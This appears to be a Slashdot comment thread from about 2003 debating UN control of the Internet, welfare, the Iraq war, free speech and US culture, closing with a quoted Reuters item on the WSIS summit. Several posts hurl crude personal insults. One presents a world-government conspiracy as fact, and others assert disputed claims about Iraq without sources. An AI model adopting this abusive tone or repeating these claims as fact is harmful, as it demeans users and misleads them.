The US taxpayer funded the Internet's inception. US ingenuity is largely responsible for its creation. And US industry is responsible for its commercial boom. If the UN wants to control the Internet then they can create their own rather than trying to leech on the work of others. The US has so much control over it because the US pioneered it; other nations are more than welcome to pioneer their own. (Like China working on their own OS instead of using US technology; how about China now pioneer their own superior Internet alternative?) This mentality that when some person/group/nation invents something amazing that the whole world has a right to leech of their work reminds me of a great quote from "Atlas Shrugged": "If we eliminate private fortunes, we'll have a fairer distribution of wealth. If we eliminate genius, we will have a fairer distribution of ideas." If you don't like it then petition your government or your UN to upstage the US by creating a better net.
"The State is that great fiction by which everyone lives at the expense of everyone else." -Frederic Bastiat.
And what was the Cold War? Were the US, UK and USSR just going to hurl nerf balls at each other? Was the Berlin Wall just a big pile of Oktoberfest bieren kegs?
And don't fool yourself into thinking that the UN had anything to do with the Cold War not erupting in open violence on a global scale. It is due solely to (1) our (US, UK and Russia's) sense of restraint and (2) The rest of the world's good sense just to sit back and let us handle it ourselves.
What really is so bad about some people with no ambition living off the taxes of others? The money that we 'earn' has very little to do with how hard we work or the worth of that work. The money we receive from various sources is ours only inasmuch as we have control over it; we owe too much to external factors and the support of the society at large to claim that we receive in accordance with what we deserve.
What gives people the right to not work to support themselves? Even if I did agree that what I earn has little to do with how hard I work, why do these people get the right to not contribute the the support of society? Half of my money is taken to contribute to society in the form of taxes. Why should they have the right to freeload with no contribution of any kind?
I have been working with a paycheck since I was 6 years old. It may have been a paper route, but I was getting a regular paycheck. I have been supporting myself, for the most part, since I was 16, and completely supporting myself since 18. I take care of myself, and my family, why should I need to take care of strangers? They contribute nothing to my existence.
I'm not without sympathy for the disabled, but if they are disabled, they should be on disability, not welfare. I am of the opinion that any job is better than no job, because I don't want to accept charity. These deadbeats aren't even accepting charity, they are accepting the hard-earned money, for which I work, that has been forcibly confinscated by the government. I have a hard enough time accepting the reality of taxes without those taxes going to support the lazy.
-
"Vengeance is fine," sayeth the Lord.
That means more and more people will finally wake up and start using encryption!
:)
I would say the DMCA is a problem, but nobody reads anything we Americans write anyways...
Criticising the UN for failing to do something it hasn't been granted the power to do is pretty silly.
is the UN. the UN headed up by a buncha european countries, who have only interest in europe mostly, who want to start controlling everyone slowly, at least the us is its own country, the un is several countries with the same idea. these people have been kicked around by so much crap in the past 2 millenia, that now, they'll do anything to eventually control your lives.
I knew this probably would evntually happen, also, the whole europe uniting thing is an obvious step towards domineering peoples' lives in the long run..
bad enough when 1 country pulls something like this, but when a bunch of them do it all at one, it's bad.
this is not a good move at all. this means you could do something that would be considered legal in your country, but say, it's not legal in arabia, you could face their punishments for doing something illegal.
Personally, I see this as a step to start controlling EVERYONE, even the non-un countries.
Many people never have listened to me before on this, but the more I see it, it's beginning to look like the whole world government conspiracy again. except it's becoming obviously a reality.
first, unite a continent into one super country, second, start controlling a common international medium, to force your views and laws onto people, then start forcing other countries into your influence.. then eventually leading up into one huge super country.. many people have accused the US of trying to do this, except the us hasnt pulled anything this drastic.
So, basically, doesnt matter which country you're in, you could still face international laws if you do something considered "bad" in the eyes of some random country.
and we were worried that the us would try to take our freedoms away.
I say someone needs to start a new internet network, one that is truly "Opensourced"
the current internet is meant to be an open source of communication, but that's getting taken away.
so someone needs to start brewing up a second internet network, and start pulling some strings to get it in effect. because the internet as it stands is about to go to hell and a handbasket thanks to some political agendas.
thanks again politicians... for ruining everyone's lives again. no matter what event happens, the people get screwed once again.
Your source paints the WHISC as something that was merely renamed under Clinton. Let's not be unnecessarily partisan.
Most of you got it wrong. It's not that US controls internet, those undemocratic countries are complaining exactly about the opposite: the lack of control. Lack of control is what they see as a problem. If they don't have absolute control over something, well, they feel endangered...
As the island of our knowledge grows, so does the shore of our ignorance.
no one has control the net, as the current model stands, you can put up a site with your views that could be radical, and private networks can censor that or allow it, depending on the network..
with the proposed model, you can have a site like that, but then you'd get arrested and punished accordingly by whichever government wanted your head for that site. your site would be forcibly removed, and you could lose your computer just as well.
many people see the internet as just a virtual little world, but it can also lead to stuff that can effect your daily lives, that's how big it's gotten as well.
also, read the list of countries that want this.. they're all either close to a dictatorship or socialist regime that wants to control things anyways. like they said before, communists dont use bombs to win wars, they use infiltration and brainwashing, might be an "american" saying, but it's true, and It doesnt just apply to communists, it applies to anyone who wants to get control over your daily lives these days, since nowadays, a war on a grand scale to take people over is unheard of, it's going to be a silent creeping type of war, fought by politicians.
the internet might have small networks, but at least you cont have to fear putting up your opinion online without fearing some punishment in most truly free countries.
Where even criminals have civil rights.
Except when they've been killed off by their government.
When those laws are put together by the dictator's club called the UN, you bet. You know, the place that puts Syria and Libya on the "human rights committee"?
A dictators' club that is happily used by the US or ignored by the US when it suits them. Either you're in or you're out - pick one.
Where freedom of speech applies to EVERYBODY, even the ones with unpopular causes. Hint: popular causes don't NEED freedom of speech.
Except you cant talk about that new copy protection scheme, or the lastest encryption algorythm, because thats secret stuff.
Hint: we're still on our first Republic. France is on their fifth, with intervening Reigns of Terror, anarchy, kings, emperors, and Nazi collaborationist regimes.
You just proved his point. France has a hell of a lot more experience being on the short end of the stick. Their population has seen their entire culture on the brink of extintion in the last century. They have a lot more collective wisdom, in terms of culteral age.
Hint: our popular culture dominates the world. Deal with it.
You only think it does. Which is why the rest of the world gets so annoyed when you come and visit.
Where food is so cheap that even the poorest can (over)eat.
Where food is so cheep because of the coporations ability to pay that 12 year old farm worker in south america $15 a month to make that food.
They're ours to "waste", Saddam-lover.
It sure as hell wasnt your country to distroy, so get off your fucking high horse and open your eyes. You threw away almost 400 billion dollars fighting an enemy that didnt even have the weapons you were all scared of. And dont give me that 'he was evil anyway' crap, because there are dozens of more problematic coutries in the world.
Think about what 400 billion dollars could have done if you'd dumped it into something useful. Garunteed you're not going to get that money back now.
.
Regarding "no provocation" with regards to Iraq...
Regardless of what you may have heard on ANY mainstream media, in the US or otherwise, the war with Iraq never ended. There was no signed peace.
There was a cease-fire agreement.
However, Saddam in his infinite wisdom chose to violate that agreement (by firing on American and British aircraft in the no-fly zones, for example) several times over the past decade and change.
If you wish to argue that the no-fly zones are invalid, DESPITE being put into place by the coalition agreement in '91 and not unilaterally by the U.S., then you're advocating that international law and agreements mean nothing.
If you wish to argue that the no-fly zones had gone on long enough, then surely an enlightened world leader like Saddam should have re-negotiated that ceasefire into a final peace rather than simply opening fire on aircraft he didn't like.
The point of this post is that the first Gulf War never ended, legally speaking. Iraq has been shooting at U.S. aircraft and the U.S. has been engaging surface-to-air and surface-to-surface missile sites since the cease-fire.
Personally, I think it was rather manganimous of our government to put up with blatant treaty violations for over ten years before we decided to oust Saddam.
"America has done some terrible things. But I know that Americans don't cheer when innocents die." -Dave Barry
I don't know about what ICANN are like, but the idea that the UN would do a better job of it should be given the scorn it deserves.
Society is not something entirely other from the people in it. Supporting society involves supporting the people that compose it -- even the ones you don't know personally, or whose activities (or lack there of) you don't approve of.
On a pragmatic level, the number of people we're speaking of is proportionally very low. Given that the support you contribute towards them directly is such a tiny proportion of what you are already paying, it seems mean to deny it.
It's very hard for people to be in a situation where they don't contribute to scoiety at all. They would have to have no friends, no family, and no hobbies that involve others. There may indeed be people who do not contribute in any way at all, but now we're speaking of an extremely small number of people indeed.
The concept of 'hard-earned money' that is then 'forcibly confiscated' by the government, is an emotive but not especially accurate picture. To say the number of dollars that corresponds to your pre-tax income is 'yours' is to deny that any other party has contributed towards that figure. Given the web of social interactions and public services that we all rely on daily, this is plainly not the case.
It seems to be a good thing to work to support oneself, in that it gives us purpose and a sense of self-worth, as well as of course providing the necessities of life. But I can't see that this means we must be selfish.
Note too that the days of high employment are very much likely numbered. Given the outsourcing of jobs overseas, as well as the replacement of unskilled labour by machine labour, it doesn't seem that it will be long before a significant percentage of people will be unable to find traditional-style employment that pays a living wage. What then?
Because I can vote the basta^h^h^h^h^h officials out of office here!
Yeah, but I (and >90% of the rest) can't.
There are non-US citizens on the net too, you know.
"First lesson," Jon said. "Stick them with the pointy end."
Imagine if the UN did get control. After 5 billion dollars of wasted beurocratic paper, printed in three languages, there would be a big compromise in which all nations got something. Something like:
Have you read my journal today?
and just to show my non-partisanship
Here's a google search about the Clinton days
hopefully you'll come back and take a poke at those two links. As for tubesteak, its a joke, i'm glad you got it.
[Fuck Beta]
o0t!
If you do not agree with the above post, then you must be a terrorist.
The line for 'special detention' begins on the left...
Everyone will start to cheer when you put on your sailin' shoes.
ummmm.....did you not hear about the large amounts of cash found in Iraq? I seem to remember the US finding a billion or two in cash. (I specifically remember some soldiers finding US$650 million in cash in one cache)
With all that money lying around, Saddam could've fed the people if he wanted to, the sanctions had nothing to do with kids dying. Saddam was selling oil through a UN program to buy food and medicine, but instead he blew the money on palaces and cars and shit like that. Saddam is why those poor children died, not the sanctions.
:-) Heh. What I was really saying was that I don't trust "my" U.S. government - but at least I can have a little control -- as would other citizens of [most] other countries. If there IS going to be control at all, it should be on a country-by-country basis over the resources within their reach - not by the U.N. where NONE of us will have ANY direct control.
"terrorism" and "pedophilia" are the root passwords to the Constitution
The U.S. should work on getting less corrupt government first. Did you check out how many cases were overturned last year on prosecutorial misconduct?
Then lets look at congressman who hold important bills hostage because they aren't getting their pork barrel projects tail coated on to the bills.
Yea, we are funny like that. We take that little thing called the constitution literally. Criminals without civil rights are called criminals in the former Iraq. Considering how many cases are overturned on appeal, thank god criminals have civil rights. Or we would have had a lot of innocent men in jail still.
When those laws are put together by the dictator's club called the UN, you bet. You know, the place that puts Syria and Libya on the "human rights committee"?
Canada is a dictatorship?
Hint: we're still on our first Republic. France is on their fifth, with intervening Reigns of Terror, anarchy, kings, emperors, and Nazi collaborationist regimes.
Yes, the U.S. just committed genocide without changing governments a few times.
Hint: our popular culture dominates the world. Deal with it.
Ok, and your point is? iKea dominates portions of American culture. Does that mean the Swedes are bad?
Where food is so cheap that even the poorest can (over)eat.
yes, but is really just an example (over eating) of the culture of greed that is eating away at this country. American's are never satisfied anymore. Unless we have more of something we could physically put our hands on we are not happy.
They're ours to "waste", Saddam-lover.
Actually I think most peoples problem was that the US didn't exhaust all diplomatic measures before going to war. We slap every other country in the world in the face, and then turn around and ask for there help....I am sure the president will propose that every school child be taught this philosiphy.
Nobody liked Saddam, but he was contained. The US can't afford (especially alone) to go after every despot in the world (Iran, Libya, Zimbabwei, North Korea.)
And also, where are all those WMD's the country most supposedly packed with?
As for your comment "They're ours to "waste", Saddam-lover." Couldn't the money spent on Iraq have been better spent on something like fixing the American health care system.
No, do not just say.
4x40yrs is a hell of a lot different than 1x10 plus 1x200+
The 10 is negligeable, and part of an evolutionary, not pointlessly revolutionary process.
The unofficial
If you need it, I'll give you cab fare to get a ride back to reality. You live in a world where it's hip to insult Americans, even though it's entirely untrue. If you don't live in America and have not visited, you don't have a fucking clue what you are talking about.
Oh, BTW, to any non-Americans, those globetrotting assholes you meet are NOT in the majority of Americans. I think those rich pricks flying around the world, demanding everyone speak English are part of the reason the world thinks Americans are snobs. I've met more foreign snobs than American snobs, and I've never left the country for an extended period (more than 5 days).
OTOH, I can't argue in favor of the US Government, but that has nothing to do with the current administration -- they have all sucked since I was born.
> Good argument, jackass.
Since you're the only one making that argument, I suppose "jackass" is correct.
Stick your goddamned knee-jerk Anti-American troll bullshit back up your ass where it came from, spunkwad.
They want to control content?
They want monitoring boards?
They want censorship?
I have one thing to say:
FUCK OFF!
-
- - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
Message from earth to the AC. The UN was usless before any of the stuff you note. Screw the UN.
If you don't like what I write don't be a CS and mod it down. Refute it.
Yea I can't spell. So what is your point?
What about when the media censor's itself? What about things like Rape Shield laws? I like what you're saying "media have a duty", but the reality is that the media (though partisan) generally plays well with others. The media cannot report things the way they'd like to, because they might offend informants, or tarnish someone's image. Our news media has something of a Quid Pro Quo with the people they're reporting on. You don't scratch their backs, they won't scratch yours. If you want to watch some real journalism, tune into most foreign news broadcasts. American journalists were so timid in questioning Bush after the State of the Union/WMD/blown CIA operative's cover. Foreign journalists really kick ass and try to get some answers. In my most humble opinion, if we replaced the U.S. Congress with a forum more like the House of Parliment in England, debates on CSPAN would be much livelier. Tony Blair really caught some hell over Iraq to the point Members of Parliment were booing too his face and shouting that he was a lier and could not be trusted... You'll never see that on CSPAN or CNN
[Fuck Beta]
o0t!
I am merely saying that there isn't enough information to justify all the radical theories being made about how UN might run the internet.
I can also be sure that the US pays way more than any other nation to support and run the UN as well, no matter how far behind in it's dues' it is.
You swing and you miss. The US is exceptionally notorious when it comes to not funding UN. If they were funding the UN as they are supposed to, they would be paying more than Japan.
The idea behind freedom of speech isn't that you have the right to STFU, its the opposite.
You have the right to say anything you damn well please, and you also have the right to not say anything you damn well please. All I'm saying is, freedom of speech means if you don't want to say anything, that's your right, just as much as it's your right to bitch moan and complain. You can't force somebody to say something they don't want to because that's not freedom at all.
That's very true, but it still existed and it's good to remember the mistakes of the past in order not to repeat them in the future, and the UN seems to have a lot of the problems of the Articles of Confederation.
You fucktard, GPS is not a global public service. It is a military tool which IN PEACETIME is allowed for some civilian use. Allowing GPS in a time of war for OTHER THAN FRIENDLY military forces is retarded. You are a fucking idiot. Keep posting anonymously. Tool.
How's about we create a network of computers where each country can add their own servers and choose either to add to the free system or not to? Why, they could even filter the content to their own citizens if they want to BUT NO PROVISION WOULD BE MADE TO AFFECT CITIZENS OF OTHER COUNTRIES!
Slashdotters, do you see the negativity, hate, anger and disrespect in pretty much all the posts above? Don't let it affect your style of writing. Take back slashdot with good debate, don't engage these forces of evil!
Yes, padwan! Fear leads to hate, hate leads to anger, anger leads to suffering, hrmmm?!
Nothing that we know about, just like we didn't know about Echelon (which isn't a conspiracy theorist pipe dream). I think its a stupid idea to let the UN run it. Most everything done by committee or a bureaucracy satisfies no-one. I do think it would make much more sense to distribute the servers geographically. And by geographically i mean, lets put one in Australia or India or ...
Its like giving a nuclear sub commander both missle keys. He isn't actively excercising his powers, but should he fancy launching a few missles, the power is at his fingertips. Isn't everything these days about pre-empting a threat? In this case the threat would be one country having the ability to severly curtial access to the domain name servers.
this is a little scenario for your post over here:
Imagine Party C = CIA, Party B = You, Party A = The Federal Government.
Now according to your theory, you have the right to STFU when requesting information from the CIA. Congress disagrees with you, as do I, thats why the Freedom of Information Act was created. The idea behind freedom of speech isn't that you have the right to STFU, its the opposite. If someone says something you don't like, you can bitch, moan, complain, and create public pressure to change that thing... because its your right.
Another scenario: A = Media Execs, B = You, C = News Outlets & D = Federal Government
Same as above, except (as they often do) D asks A not to break a story for a few days. A agrees, passes that to C and B is the loser. Is that censorship?
But you are on the wrong side. If you read the article, the whole reason the UN wants control over the Internet is to censor its content. They do not like what people are publishing here. I was surprised, honestly, that the US was against the idea. Do you really wnat to be censored by UN committees?
GenSolo: You don't have the right to remain silent as long as you're not incriminating yourself. And if you might, the prosecutor can give you immunity (offering it would suggest you have a choice) and require you to testify or go to jail, even if it'll ruin you socially, get you fired from your job, and/or cause your divorce.
you are right that forcing someone to say something != freedom. thats why we let other countries extract information and confessions for us. google Egypt and Israel. nuff said
[Fuck Beta]
o0t!
I guess you also believe the pulling down of the Saddam statue was a public backlash against the regime.. it wasnt.. it was a staged media event. Dont beleive the hype.. the media owns what 'happens'.. just have a look at a couple of excellent independant media doccos have recently done on the war and postwar in Iraq.. the high majority of 'live' news reports were done in the "Media Centre".. the US Army had a rather massive TV studio (230 million dollars on a media centre, I guess you'd expect a decent studio), with a nice indoor sand dune, humvees and bradleys to boot.. dont believe for a second that 650 mill was found anywhere in a cache.. all smoke and mirrors.. read the UN report on the previous 10 years of sanctions and how it was recognised to have impacted childrens health - they admit it to have been the cause of 50,000 childrens deaths. Thats their own report. The sanctions werent just money they were _medecine_ too.. and spare parts for water pumps and so on.. and a myriad of other day to day items... Sure Saddam was no saint.. I never ever pretended he was.. but what I said about sanctions was they dont impact the rich and powerful in a country they only impact the poor and/or the powerless.
In fact, they did very much push to get this topic on the agenda, and even sent a mail last week asking all memebers to fill in a survey on this matter.
From the newsletter of ISOC:
The purpose of the UN is to provide a forum for diplomacy.
Nothing more, nothing less. It isn't a world government, and it isn't a military command center.
You're judging the UN on a standard you hope that it can't fit (because it would frankly scare the pants off you if it did) and then crow about how useless it is when it doesn't match your criteria (generally, that of being a US bigger than the US.)
International law is a weird thing, and it's all about justifications. The UN is there to put it all out into the open.
What we call folk wisdom is often no more than a kind of expedient stupidity.-Edward Abbey
New story from Reuters: Developed and developing nations are wide apart on managing the Internet and closing the digital divide between rich and poor at the end of what was meant as a final meeting before a world summit. The World Summit on the Information Society (WSIS), to be held in Geneva December 10-12, was first proposed in 1998 at the height of the Internet boom, but two years of preparatory negotiations have failed to resolve many of the outstanding issues. Initially conceived as a way to help poorer countries to make better use of the Internet, and through it perhaps leap- frog some stages to economic development, the summit has since broadened to embrace many facets of the information society, including questions of press freedom and Net management. Developing countries will argue generally that governments do need to be involved, that it cannot simply be the private sector, and the private sector in some industrialised countries, to take the lead in how the Internet is governed.